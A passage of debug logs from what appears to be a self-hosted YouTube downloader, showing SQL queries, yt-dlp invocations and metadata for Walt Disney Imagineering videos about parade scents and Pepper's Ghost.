https://sites.disney.com/waltdisneyimagineering/", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", 407, false, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].mp4", false, 2, ~U[2026-01-20 22:00:23Z]] 18:56:48.342 [debug] QUERY OK source="sources" db=0.2ms idle=756.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:48.342 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:48.342 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7390] 18:56:48.343 [debug] Current batch of media processed. Will check again in 1000ms 18:56:49.343 [debug] Current batch of media processed. Will check again in 1000ms 18:56:49.669 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/53/94/539466fe8b73544afa3d1f500afeb072fe9813b5a39550d2b3d1ddada4c31588.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:56:49.670 [debug] Running yt-dlp command for action: download 18:56:49.670 [debug] QUERY OK source="settings" db=0.1ms idle=264.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:49.670 [debug] QUERY OK source="settings" db=0.0ms idle=264.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:49.670 [debug] QUERY OK source="settings" db=0.0ms idle=265.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:49.671 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/77/62/77628bacc8d374a3c21ef29abe93c8eb658e2fb7f78da69167bc06f32c32291f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:49.960 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:50.344 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "duration" => 166, "filename" => "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].mp4", "id" => "KcrIWZOXOGg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KcrIWZOXOGg", "playlist_index" => 9, "timestamp" => 1766427591, "title" => "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "upload_date" => "20251222"} 18:56:50.345 [debug] QUERY OK source="sources" db=0.2ms idle=755.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:50.345 [debug] QUERY OK source="sources" db=0.1ms idle=675.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:50.346 [debug] QUERY OK source="media_items" db=0.5ms idle=675.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-22 18:19:51Z], 2] 18:56:50.348 [debug] QUERY OK source="media_items" db=1.7ms idle=675.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "7990b4a8-0c37-4652-b097-b8718d5a6f19", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", false, 166, false, 9, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].mp4", false, false, 2, [], 98, ~U[2025-12-22 18:19:51Z], ~U[2026-03-31 22:56:50Z], ~U[2026-03-31 22:56:50Z], "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", 166, false, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].mp4", false, 2, ~U[2025-12-22 18:19:51Z]] 18:56:50.349 [debug] QUERY OK source="sources" db=0.1ms idle=388.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:50.349 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:50.350 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5352] 18:56:50.350 [debug] Current batch of media processed. Will check again in 1000ms 18:56:51.350 [debug] Current batch of media processed. Will check again in 1000ms 18:56:52.351 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ *What makes this special?*\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "duration" => 272, "filename" => "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].mp4", "id" => "m80WI0AK0P0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m80WI0AK0P0", "playlist_index" => 10, "timestamp" => 1765233013, "title" => "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "upload_date" => "20251208"} 18:56:52.352 [debug] QUERY OK source="sources" db=0.2ms idle=946.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:52.352 [debug] QUERY OK source="sources" db=0.1ms idle=946.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:52.353 [debug] QUERY OK source="media_items" db=0.5ms idle=947.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 22:30:13Z], 2] 18:56:52.355 [debug] QUERY OK source="media_items" db=1.5ms idle=948.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ *What makes this special?*\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "64194024-cdcc-4b9d-a66b-a36d17212768", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", false, 272, false, 10, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].mp4", false, false, 2, [], 98, ~U[2025-12-08 22:30:13Z], ~U[2026-03-31 22:56:52Z], ~U[2026-03-31 22:56:52Z], "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ *What makes this special?*\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", 272, false, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].mp4", false, 2, ~U[2025-12-08 22:30:13Z]] 18:56:52.355 [debug] QUERY OK source="sources" db=0.1ms idle=763.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:52.356 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", 